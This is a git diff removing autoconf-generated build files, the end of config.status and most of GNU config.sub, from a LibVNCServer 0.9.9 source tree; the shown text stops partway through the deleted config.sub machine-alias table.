-S["ACLOCAL"]="${SHELL} /data/src/android-master/external/libvncserver/missing --run aclocal-1.11"
-S["VERSION"]="0.9.9"
-S["PACKAGE"]="LibVNCServer"
-S["CYGPATH_W"]="echo"
-S["am__isrc"]=""
-S["INSTALL_DATA"]="${INSTALL} -m 644"
-S["INSTALL_SCRIPT"]="${INSTALL}"
-S["INSTALL_PROGRAM"]="${INSTALL}"
-S["target_alias"]=""
-S["host_alias"]=""
-S["build_alias"]=""
-S["LIBS"]="-lnsl -lpthread -lz -lpng -ljpeg -lresolv "
-S["ECHO_T"]=""
-S["ECHO_N"]="-n"
-S["ECHO_C"]=""
-S["DEFS"]="-DHAVE_CONFIG_H"
-S["mandir"]="${datarootdir}/man"
-S["localedir"]="${datarootdir}/locale"
-S["libdir"]="${exec_prefix}/lib"
-S["psdir"]="${docdir}"
-S["pdfdir"]="${docdir}"
-S["dvidir"]="${docdir}"
-S["htmldir"]="${docdir}"
-S["infodir"]="${datarootdir}/info"
-S["docdir"]="${datarootdir}/doc/${PACKAGE_TARNAME}"
-S["oldincludedir"]="/usr/include"
-S["includedir"]="${prefix}/include"
-S["localstatedir"]="${prefix}/var"
-S["sharedstatedir"]="${prefix}/com"
-S["sysconfdir"]="${prefix}/etc"
-S["datadir"]="${datarootdir}"
-S["datarootdir"]="${prefix}/share"
-S["libexecdir"]="${exec_prefix}/libexec"
-S["sbindir"]="${exec_prefix}/sbin"
-S["bindir"]="${exec_prefix}/bin"
-S["program_transform_name"]="s,x,x,"
-S["prefix"]="/usr/local"
-S["exec_prefix"]="${prefix}"
-S["PACKAGE_URL"]=""
-S["PACKAGE_BUGREPORT"]="http://sourceforge.net/projects/libvncserver"
-S["PACKAGE_STRING"]="LibVNCServer 0.9.9"
-S["PACKAGE_VERSION"]="0.9.9"
-S["PACKAGE_TARNAME"]="libvncserver"
-S["PACKAGE_NAME"]="LibVNCServer"
-S["PATH_SEPARATOR"]=":"
-S["SHELL"]="/bin/bash"
-_ACAWK
-cat >>"$ac_tmp/subs1.awk" <<_ACAWK &&
- for (key in S) S_is_set[key] = 1
- FS = ""
-
-}
-{
- line = $ 0
- nfields = split(line, field, "@")
- substed = 0
- len = length(field[1])
- for (i = 2; i < nfields; i++) {
- key = field[i]
- keylen = length(key)
- if (S_is_set[key]) {
- value = S[key]
- line = substr(line, 1, len) "" value "" substr(line, len + keylen + 3)
- len += length(value) + length(field[++i])
- substed = 1
- } else
- len += 1 + keylen
- }
-
- print line
-}
-
-_ACAWK
-if sed "s/$ac_cr//" < /dev/null > /dev/null 2>&1; then
- sed "s/$ac_cr\$//; s/$ac_cr/$ac_cs_awk_cr/g"
-else
- cat
-fi < "$ac_tmp/subs1.awk" > "$ac_tmp/subs.awk" \
- || as_fn_error $? "could not setup config files machinery" "$LINENO" 5
-fi # test -n "$CONFIG_FILES"
-
-# Set up the scripts for CONFIG_HEADERS section.
-# No need to generate them if there are no CONFIG_HEADERS.
-# This happens for instance with `./config.status Makefile'.
-if test -n "$CONFIG_HEADERS"; then
-cat >"$ac_tmp/defines.awk" <<\_ACAWK ||
-BEGIN {
-D["PACKAGE_NAME"]=" \"LibVNCServer\""
-D["PACKAGE_TARNAME"]=" \"libvncserver\""
-D["PACKAGE_VERSION"]=" \"0.9.9\""
-D["PACKAGE_STRING"]=" \"LibVNCServer 0.9.9\""
-D["PACKAGE_BUGREPORT"]=" \"http://sourceforge.net/projects/libvncserver\""
-D["PACKAGE_URL"]=" \"\""
-D["PACKAGE"]=" \"LibVNCServer\""
-D["VERSION"]=" \"0.9.9\""
-D["STDC_HEADERS"]=" 1"
-D["HAVE_SYS_TYPES_H"]=" 1"
-D["HAVE_SYS_STAT_H"]=" 1"
-D["HAVE_STDLIB_H"]=" 1"
-D["HAVE_STRING_H"]=" 1"
-D["HAVE_MEMORY_H"]=" 1"
-D["HAVE_STRINGS_H"]=" 1"
-D["HAVE_INTTYPES_H"]=" 1"
-D["HAVE_STDINT_H"]=" 1"
-D["HAVE_UNISTD_H"]=" 1"
-D["HAVE_DLFCN_H"]=" 1"
-D["ALLOW24BPP"]=" 1"
-D["HAVE_LIBCRYPT"]=" 1"
-D["HAVE_X11"]=" 1"
-D["HAVE_LIBJPEG"]=" 1"
-D["HAVE_LIBPNG"]=" 1"
-D["HAVE_LIBZ"]=" 1"
-D["HAVE_LIBPTHREAD"]=" 1"
-D["HAVE_TLS"]=" 1"
-D["WITH_TIGHTVNC_FILETRANSFER"]=" 1"
-D["WITH_WEBSOCKETS"]=" 1"
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-D["STDC_HEADERS"]=" 1"
-D["HAVE_ARPA_INET_H"]=" 1"
-D["HAVE_FCNTL_H"]=" 1"
-D["HAVE_NETDB_H"]=" 1"
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- }
- /^X\(\/\/\)$/{
- s//\1/
- q
- }
- /^X\(\/\).*/{
- s//\1/
- q
- }
- s/.*/./; q'`
- as_dir=$dirpart/$fdir; as_fn_mkdir_p
- # echo "creating $dirpart/$file"
- echo '# dummy' > "$dirpart/$file"
- done
- done
-}
- ;;
- "chmod-libvncserver-config":C) chmod a+x libvncserver-config ;;
-
- esac
-done # for ac_tag
-
-
-as_fn_exit 0
diff --git a/config.sub b/config.sub
deleted file mode 100755
index 6205f84..0000000
--- a/config.sub
+++ /dev/null
@@ -1,1782 +0,0 @@
-#! /bin/sh
-# Configuration validation subroutine script.
-# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999,
-# 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010,
-# 2011, 2012 Free Software Foundation, Inc.
-
-timestamp='2012-04-18'
-
-# This file is (in principle) common to ALL GNU software.
-# The presence of a machine in this file suggests that SOME GNU software
-# can handle that machine. It does not imply ALL GNU software can.
-#
-# This file is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
-
-# Please send patches to <config-patches@gnu.org>. Submit a context
-# diff and a properly formatted GNU ChangeLog entry.
-#
-# Configuration subroutine to validate and canonicalize a configuration type.
-# Supply the specified configuration type as an argument.
-# If it is invalid, we print an error message on stderr and exit with code 1.
-# Otherwise, we print the canonical config type on stdout and succeed.
-
-# You can get the latest version of this script from:
-# http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.sub;hb=HEAD
-
-# This file is supposed to be the same for all GNU packages
-# and recognize all the CPU types, system types and aliases
-# that are meaningful with *any* GNU software.
-# Each package is responsible for reporting which valid configurations
-# it does not support. The user should be able to distinguish
-# a failure to support a valid configuration from a meaningless
-# configuration.
-
-# The goal of this file is to map all the various variations of a given
-# machine specification into a single specification in the form:
-# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM
-# or in some cases, the newer four-part form:
-# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM
-# It is wrong to echo any other type of specification.
-
-me=`echo "$0" | sed -e 's,.*/,,'`
-
-usage="\
-Usage: $0 [OPTION] CPU-MFR-OPSYS
- $0 [OPTION] ALIAS
-
-Canonicalize a configuration name.
-
-Operation modes:
- -h, --help print this help, then exit
- -t, --time-stamp print date of last modification, then exit
- -v, --version print version number, then exit
-
-Report bugs and patches to <config-patches@gnu.org>."
-
-version="\
-GNU config.sub ($timestamp)
-
-Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000,
-2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012
-Free Software Foundation, Inc.
-
-This is free software; see the source for copying conditions. There is NO
-warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
-
-help="
-Try \`$me --help' for more information."
-
-# Parse command line
-while test $# -gt 0 ; do
- case $1 in
- --time-stamp | --time* | -t )
- echo "$timestamp" ; exit ;;
- --version | -v )
- echo "$version" ; exit ;;
- --help | --h* | -h )
- echo "$usage"; exit ;;
- -- ) # Stop option processing
- shift; break ;;
- - ) # Use stdin as input.
- break ;;
- -* )
- echo "$me: invalid option $1$help"
- exit 1 ;;
-
- *local*)
- # First pass through any local machine types.
- echo $1
- exit ;;
-
- * )
- break ;;
- esac
-done
-
-case $# in
- 0) echo "$me: missing argument$help" >&2
- exit 1;;
- 1) ;;
- *) echo "$me: too many arguments$help" >&2
- exit 1;;
-esac
-
-# Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any).
-# Here we must recognize all the valid KERNEL-OS combinations.
-maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'`
-case $maybe_os in
- nto-qnx* | linux-gnu* | linux-android* | linux-dietlibc | linux-newlib* | \
- linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | \
- knetbsd*-gnu* | netbsd*-gnu* | \
- kopensolaris*-gnu* | \
- storm-chaos* | os2-emx* | rtmk-nova*)
- os=-$maybe_os
- basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'`
- ;;
- android-linux)
- os=-linux-android
- basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'`-unknown
- ;;
- *)
- basic_machine=`echo $1 | sed 's/-[^-]*$//'`
- if [ $basic_machine != $1 ]
- then os=`echo $1 | sed 's/.*-/-/'`
- else os=; fi
- ;;
-esac
-
-### Let's recognize common machines as not being operating systems so
-### that things like config.sub decstation-3100 work. We also
-### recognize some manufacturers as not being operating systems, so we
-### can provide default operating systems below.
-case $os in
- -sun*os*)
- # Prevent following clause from handling this invalid input.
- ;;
- -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \
- -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \
- -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \
- -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\
- -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \
- -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \
- -apple | -axis | -knuth | -cray | -microblaze)
- os=
- basic_machine=$1
- ;;
- -bluegene*)
- os=-cnk
- ;;
- -sim | -cisco | -oki | -wec | -winbond)
- os=
- basic_machine=$1
- ;;
- -scout)
- ;;
- -wrs)
- os=-vxworks
- basic_machine=$1
- ;;
- -chorusos*)
- os=-chorusos
- basic_machine=$1
- ;;
- -chorusrdb)
- os=-chorusrdb
- basic_machine=$1
- ;;
- -hiux*)
- os=-hiuxwe2
- ;;
- -sco6)
- os=-sco5v6
- basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
- ;;
- -sco5)
- os=-sco3.2v5
- basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
- ;;
- -sco4)
- os=-sco3.2v4
- basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
- ;;
- -sco3.2.[4-9]*)
- os=`echo $os | sed -e 's/sco3.2./sco3.2v/'`
- basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
- ;;
- -sco3.2v[4-9]*)
- # Don't forget version if it is 3.2v4 or newer.
- basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
- ;;
- -sco5v6*)
- # Don't forget version if it is 3.2v4 or newer.
- basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
- ;;
- -sco*)
- os=-sco3.2v2
- basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
- ;;
- -udk*)
- basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
- ;;
- -isc)
- os=-isc2.2
- basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
- ;;
- -clix*)
- basic_machine=clipper-intergraph
- ;;
- -isc*)
- basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
- ;;
- -lynx*178)
- os=-lynxos178
- ;;
- -lynx*5)
- os=-lynxos5
- ;;
- -lynx*)
- os=-lynxos
- ;;
- -ptx*)
- basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'`
- ;;
- -windowsnt*)
- os=`echo $os | sed -e 's/windowsnt/winnt/'`
- ;;
- -psos*)
- os=-psos
- ;;
- -mint | -mint[0-9]*)
- basic_machine=m68k-atari
- os=-mint
- ;;
-esac
-
-# Decode aliases for certain CPU-COMPANY combinations.
-case $basic_machine in
- # Recognize the basic CPU types without company name.
- # Some are omitted here because they have special meanings below.
- 1750a | 580 \
- | a29k \
- | aarch64 | aarch64_be \
- | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \
- | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \
- | am33_2.0 \
- | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr | avr32 \
- | be32 | be64 \
- | bfin \
- | c4x | clipper \
- | d10v | d30v | dlx | dsp16xx \
- | epiphany \
- | fido | fr30 | frv \
- | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \
- | hexagon \
- | i370 | i860 | i960 | ia64 \
- | ip2k | iq2000 \
- | le32 | le64 \
- | lm32 \
- | m32c | m32r | m32rle | m68000 | m68k | m88k \
- | maxq | mb | microblaze | mcore | mep | metag \
- | mips | mipsbe | mipseb | mipsel | mipsle \
- | mips16 \
- | mips64 | mips64el \
- | mips64octeon | mips64octeonel \
- | mips64orion | mips64orionel \
- | mips64r5900 | mips64r5900el \
- | mips64vr | mips64vrel \
- | mips64vr4100 | mips64vr4100el \
- | mips64vr4300 | mips64vr4300el \
- | mips64vr5000 | mips64vr5000el \
- | mips64vr5900 | mips64vr5900el \
- | mipsisa32 | mipsisa32el \
- | mipsisa32r2 | mipsisa32r2el \
- | mipsisa64 | mipsisa64el \
- | mipsisa64r2 | mipsisa64r2el \
- | mipsisa64sb1 | mipsisa64sb1el \
- | mipsisa64sr71k | mipsisa64sr71kel \
- | mipstx39 | mipstx39el \
- | mn10200 | mn10300 \
- | moxie \
- | mt \
- | msp430 \
- | nds32 | nds32le | nds32be \
- | nios | nios2 \
- | ns16k | ns32k \
- | open8 \
- | or32 \
- | pdp10 | pdp11 | pj | pjl \
- | powerpc | powerpc64 | powerpc64le | powerpcle \
- | pyramid \
- | rl78 | rx \
- | score \
- | sh | sh[1234] | sh[24]a | sh[24]aeb | sh[23]e | sh[34]eb | sheb | shbe | shle | sh[1234]le | sh3ele \
- | sh64 | sh64le \
- | sparc | sparc64 | sparc64b | sparc64v | sparc86x | sparclet | sparclite \
- | sparcv8 | sparcv9 | sparcv9b | sparcv9v \
- | spu \
- | tahoe | tic4x | tic54x | tic55x | tic6x | tic80 | tron \
- | ubicom32 \
- | v850 | v850e | v850e1 | v850e2 | v850es | v850e2v3 \
- | we32k \
- | x86 | xc16x | xstormy16 | xtensa \
- | z8k | z80)
- basic_machine=$basic_machine-unknown
- ;;
- c54x)
- basic_machine=tic54x-unknown
- ;;
- c55x)
- basic_machine=tic55x-unknown
- ;;
- c6x)
- basic_machine=tic6x-unknown
- ;;
- m6811 | m68hc11 | m6812 | m68hc12 | m68hcs12x | picochip)
- basic_machine=$basic_machine-unknown
- os=-none
- ;;
- m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k)
- ;;
- ms1)
- basic_machine=mt-unknown
- ;;
-
- strongarm | thumb | xscale)
- basic_machine=arm-unknown
- ;;
- xgate)
- basic_machine=$basic_machine-unknown
- os=-none
- ;;
- xscaleeb)
- basic_machine=armeb-unknown
- ;;
-
- xscaleel)
- basic_machine=armel-unknown
- ;;
-
- # We use `pc' rather than `unknown'
- # because (1) that's what they normally are, and
- # (2) the word "unknown" tends to confuse beginning users.
- i*86 | x86_64)
- basic_machine=$basic_machine-pc
- ;;
- # Object if more than one company name word.
- *-*-*)
- echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2
- exit 1
- ;;
- # Recognize the basic CPU types with company name.
- 580-* \
- | a29k-* \
- | aarch64-* | aarch64_be-* \
- | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \
- | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \
- | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \
- | arm-* | armbe-* | armle-* | armeb-* | armv*-* \
- | avr-* | avr32-* \
- | be32-* | be64-* \
- | bfin-* | bs2000-* \
- | c[123]* | c30-* | [cjt]90-* | c4x-* \
- | clipper-* | craynv-* | cydra-* \
- | d10v-* | d30v-* | dlx-* \
- | elxsi-* \
- | f30[01]-* | f700-* | fido-* | fr30-* | frv-* | fx80-* \
- | h8300-* | h8500-* \
- | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \
- | hexagon-* \
- | i*86-* | i860-* | i960-* | ia64-* \
- | ip2k-* | iq2000-* \
- | le32-* | le64-* \
- | lm32-* \
- | m32c-* | m32r-* | m32rle-* \
- | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \
- | m88110-* | m88k-* | maxq-* | mcore-* | metag-* | microblaze-* \
- | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \
- | mips16-* \
- | mips64-* | mips64el-* \
- | mips64octeon-* | mips64octeonel-* \
- | mips64orion-* | mips64orionel-* \
- | mips64r5900-* | mips64r5900el-* \
- | mips64vr-* | mips64vrel-* \
- | mips64vr4100-* | mips64vr4100el-* \
- | mips64vr4300-* | mips64vr4300el-* \
- | mips64vr5000-* | mips64vr5000el-* \
- | mips64vr5900-* | mips64vr5900el-* \
- | mipsisa32-* | mipsisa32el-* \
- | mipsisa32r2-* | mipsisa32r2el-* \
- | mipsisa64-* | mipsisa64el-* \
- | mipsisa64r2-* | mipsisa64r2el-* \
- | mipsisa64sb1-* | mipsisa64sb1el-* \
- | mipsisa64sr71k-* | mipsisa64sr71kel-* \
- | mipstx39-* | mipstx39el-* \
- | mmix-* \
- | mt-* \
- | msp430-* \
- | nds32-* | nds32le-* | nds32be-* \
- | nios-* | nios2-* \
- | none-* | np1-* | ns16k-* | ns32k-* \
- | open8-* \
- | orion-* \
- | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \
- | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* \
- | pyramid-* \
- | rl78-* | romp-* | rs6000-* | rx-* \
- | sh-* | sh[1234]-* | sh[24]a-* | sh[24]aeb-* | sh[23]e-* | sh[34]eb-* | sheb-* | shbe-* \
- | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \
- | sparc-* | sparc64-* | sparc64b-* | sparc64v-* | sparc86x-* | sparclet-* \
- | sparclite-* \
- | sparcv8-* | sparcv9-* | sparcv9b-* | sparcv9v-* | sv1-* | sx?-* \
- | tahoe-* \
- | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \
- | tile*-* \
- | tron-* \
- | ubicom32-* \
- | v850-* | v850e-* | v850e1-* | v850es-* | v850e2-* | v850e2v3-* \
- | vax-* \
- | we32k-* \
- | x86-* | x86_64-* | xc16x-* | xps100-* \
- | xstormy16-* | xtensa*-* \
- | ymp-* \
- | z8k-* | z80-*)
- ;;
- # Recognize the basic CPU types without company name, with glob match.
- xtensa*)
- basic_machine=$basic_machine-unknown
- ;;
- # Recognize the various machine names and aliases which stand
- # for a CPU type and a company and sometimes even an OS.
- 386bsd)
- basic_machine=i386-unknown
- os=-bsd
- ;;
- 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc)
- basic_machine=m68000-att
- ;;
- 3b*)
- basic_machine=we32k-att
- ;;
- a29khif)
- basic_machine=a29k-amd
- os=-udi
- ;;
- abacus)
- basic_machine=abacus-unknown
- ;;
- adobe68k)
- basic_machine=m68010-adobe
- os=-scout
- ;;
- alliant | fx80)
- basic_machine=fx80-alliant
- ;;
- altos | altos3068)
- basic_machine=m68k-altos
- ;;
- am29k)
- basic_machine=a29k-none
- os=-bsd
- ;;
- amd64)
- basic_machine=x86_64-pc
- ;;
- amd64-*)
- basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- amdahl)
- basic_machine=580-amdahl
- os=-sysv
- ;;
- amiga | amiga-*)
- basic_machine=m68k-unknown
- ;;
- amigaos | amigados)
- basic_machine=m68k-unknown
- os=-amigaos
- ;;
- amigaunix | amix)
- basic_machine=m68k-unknown
- os=-sysv4
- ;;
- apollo68)
- basic_machine=m68k-apollo
- os=-sysv
- ;;
- apollo68bsd)
- basic_machine=m68k-apollo
- os=-bsd
- ;;
- aros)
- basic_machine=i386-pc
- os=-aros
- ;;
- aux)
- basic_machine=m68k-apple
- os=-aux
- ;;
- balance)
- basic_machine=ns32k-sequent
- os=-dynix
- ;;
- blackfin)
- basic_machine=bfin-unknown
- os=-linux
- ;;
- blackfin-*)
- basic_machine=bfin-`echo $basic_machine | sed 's/^[^-]*-//'`
- os=-linux
- ;;
- bluegene*)
- basic_machine=powerpc-ibm
- os=-cnk
- ;;
- c54x-*)
- basic_machine=tic54x-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- c55x-*)
- basic_machine=tic55x-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- c6x-*)
- basic_machine=tic6x-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- c90)
- basic_machine=c90-cray
- os=-unicos
- ;;
- cegcc)
- basic_machine=arm-unknown
- os=-cegcc
- ;;
- convex-c1)
- basic_machine=c1-convex
- os=-bsd
- ;;
- convex-c2)
- basic_machine=c2-convex
- os=-bsd
- ;;
- convex-c32)
- basic_machine=c32-convex
- os=-bsd
- ;;
- convex-c34)
- basic_machine=c34-convex
- os=-bsd
- ;;
- convex-c38)
- basic_machine=c38-convex
- os=-bsd
- ;;
- cray | j90)
- basic_machine=j90-cray
- os=-unicos
- ;;
- craynv)
- basic_machine=craynv-cray
- os=-unicosmp
- ;;
- cr16 | cr16-*)
- basic_machine=cr16-unknown
- os=-elf
- ;;
- crds | unos)
- basic_machine=m68k-crds
- ;;
- crisv32 | crisv32-* | etraxfs*)
- basic_machine=crisv32-axis
- ;;
- cris | cris-* | etrax*)
- basic_machine=cris-axis
- ;;
- crx)
- basic_machine=crx-unknown
- os=-elf
- ;;
- da30 | da30-*)
- basic_machine=m68k-da30
- ;;
- decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn)
- basic_machine=mips-dec
- ;;
- decsystem10* | dec10*)
- basic_machine=pdp10-dec
- os=-tops10
- ;;
- decsystem20* | dec20*)
- basic_machine=pdp10-dec
- os=-tops20
- ;;
- delta | 3300 | motorola-3300 | motorola-delta \
- | 3300-motorola | delta-motorola)
- basic_machine=m68k-motorola
- ;;
- delta88)
- basic_machine=m88k-motorola
- os=-sysv3
- ;;
- dicos)
- basic_machine=i686-pc
- os=-dicos
- ;;
- djgpp)
- basic_machine=i586-pc
- os=-msdosdjgpp
- ;;
- dpx20 | dpx20-*)
- basic_machine=rs6000-bull
- os=-bosx
- ;;
- dpx2* | dpx2*-bull)
- basic_machine=m68k-bull
- os=-sysv3
- ;;
- ebmon29k)
- basic_machine=a29k-amd
- os=-ebmon
- ;;
- elxsi)
- basic_machine=elxsi-elxsi
- os=-bsd
- ;;
- encore | umax | mmax)
- basic_machine=ns32k-encore
- ;;
- es1800 | OSE68k | ose68k | ose | OSE)
- basic_machine=m68k-ericsson
- os=-ose
- ;;
- fx2800)
- basic_machine=i860-alliant
- ;;
- genix)
- basic_machine=ns32k-ns
- ;;
- gmicro)
- basic_machine=tron-gmicro
- os=-sysv
- ;;
- go32)
- basic_machine=i386-pc
- os=-go32
- ;;
- h3050r* | hiux*)
- basic_machine=hppa1.1-hitachi
- os=-hiuxwe2
- ;;
- h8300hms)
- basic_machine=h8300-hitachi
- os=-hms
- ;;
- h8300xray)
- basic_machine=h8300-hitachi
- os=-xray
- ;;
- h8500hms)
- basic_machine=h8500-hitachi
- os=-hms
- ;;
- harris)
- basic_machine=m88k-harris
- os=-sysv3
- ;;
- hp300-*)
- basic_machine=m68k-hp
- ;;
- hp300bsd)
- basic_machine=m68k-hp
- os=-bsd
- ;;
- hp300hpux)
- basic_machine=m68k-hp
- os=-hpux
- ;;
- hp3k9[0-9][0-9] | hp9[0-9][0-9])
- basic_machine=hppa1.0-hp
- ;;
- hp9k2[0-9][0-9] | hp9k31[0-9])
- basic_machine=m68000-hp
- ;;
- hp9k3[2-9][0-9])
- basic_machine=m68k-hp
- ;;
- hp9k6[0-9][0-9] | hp6[0-9][0-9])
- basic_machine=hppa1.0-hp
- ;;
- hp9k7[0-79][0-9] | hp7[0-79][0-9])
- basic_machine=hppa1.1-hp
- ;;
- hp9k78[0-9] | hp78[0-9])
- # FIXME: really hppa2.0-hp
- basic_machine=hppa1.1-hp
- ;;
- hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893)
- # FIXME: really hppa2.0-hp
- basic_machine=hppa1.1-hp
- ;;
- hp9k8[0-9][13679] | hp8[0-9][13679])
- basic_machine=hppa1.1-hp
- ;;
- hp9k8[0-9][0-9] | hp8[0-9][0-9])
- basic_machine=hppa1.0-hp
- ;;
- hppa-next)
- os=-nextstep3
- ;;
- hppaosf)
- basic_machine=hppa1.1-hp
- os=-osf
- ;;
- hppro)
- basic_machine=hppa1.1-hp
- os=-proelf
- ;;
- i370-ibm* | ibm*)
- basic_machine=i370-ibm
- ;;
- i*86v32)
- basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
- os=-sysv32
- ;;
- i*86v4*)
- basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
- os=-sysv4
- ;;
- i*86v)
- basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
- os=-sysv
- ;;
- i*86sol2)
- basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'`
- os=-solaris2
- ;;
- i386mach)
- basic_machine=i386-mach
- os=-mach
- ;;
- i386-vsta | vsta)
- basic_machine=i386-unknown
- os=-vsta
- ;;
- iris | iris4d)
- basic_machine=mips-sgi
- case $os in
- -irix*)
- ;;
- *)
- os=-irix4
- ;;
- esac
- ;;
- isi68 | isi)
- basic_machine=m68k-isi
- os=-sysv
- ;;
- m68knommu)
- basic_machine=m68k-unknown
- os=-linux
- ;;
- m68knommu-*)
- basic_machine=m68k-`echo $basic_machine | sed 's/^[^-]*-//'`
- os=-linux
- ;;
- m88k-omron*)
- basic_machine=m88k-omron
- ;;
- magnum | m3230)
- basic_machine=mips-mips
- os=-sysv
- ;;
- merlin)
- basic_machine=ns32k-utek
- os=-sysv
- ;;
- microblaze)
- basic_machine=microblaze-xilinx
- ;;
- mingw32)
- basic_machine=i386-pc
- os=-mingw32
- ;;
- mingw32ce)
- basic_machine=arm-unknown
- os=-mingw32ce
- ;;
- miniframe)
- basic_machine=m68000-convergent
- ;;
- *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*)
- basic_machine=m68k-atari
- os=-mint
- ;;
- mips3*-*)
- basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`
- ;;
- mips3*)
- basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown
- ;;
- monitor)
- basic_machine=m68k-rom68k
- os=-coff
- ;;
- morphos)
- basic_machine=powerpc-unknown
- os=-morphos
- ;;
- msdos)
- basic_machine=i386-pc
- os=-msdos
- ;;
- ms1-*)
- basic_machine=`echo $basic_machine | sed -e 's/ms1-/mt-/'`
- ;;
- msys)
- basic_machine=i386-pc
- os=-msys
- ;;
- mvs)
- basic_machine=i370-ibm
- os=-mvs
- ;;
- nacl)
- basic_machine=le32-unknown
- os=-nacl
- ;;
- ncr3000)
- basic_machine=i486-ncr
- os=-sysv4
- ;;
- netbsd386)
- basic_machine=i386-unknown
- os=-netbsd
- ;;
- netwinder)
- basic_machine=armv4l-rebel
- os=-linux
- ;;
- news | news700 | news800 | news900)
- basic_machine=m68k-sony
- os=-newsos
- ;;
- news1000)
- basic_machine=m68030-sony
- os=-newsos
- ;;
- news-3600 | risc-news)
- basic_machine=mips-sony
- os=-newsos
- ;;
- necv70)
- basic_machine=v70-nec
- os=-sysv
- ;;
- next | m*-next )
- basic_machine=m68k-next
- case $os in
- -nextstep* )
- ;;
- -ns2*)
- os=-nextstep2
- ;;
- *)
- os=-nextstep3
- ;;
- esac
- ;;
- nh3000)
- basic_machine=m68k-harris
- os=-cxux
- ;;
- nh[45]000)
- basic_machine=m88k-harris
- os=-cxux
- ;;
- nindy960)
- basic_machine=i960-intel
- os=-nindy
- ;;
- mon960)
- basic_machine=i960-intel
- os=-mon960
- ;;
- nonstopux)
- basic_machine=mips-compaq
- os=-nonstopux
- ;;
- np1)
- basic_machine=np1-gould
- ;;
- neo-tandem)
- basic_machine=neo-tandem
- ;;
- nse-tandem)
- basic_machine=nse-tandem
- ;;
- nsr-tandem)
- basic_machine=nsr-tandem
- ;;
- op50n-* | op60c-*)
- basic_machine=hppa1.1-oki
- os=-proelf
- ;;
- openrisc | openrisc-*)
- basic_machine=or32-unknown
- ;;
- os400)
- basic_machine=powerpc-ibm
- os=-os400
- ;;
- OSE68000 | ose68000)
- basic_machine=m68000-ericsson
- os=-ose
- ;;
- os68k)
- basic_machine=m68k-none
- os=-os68k
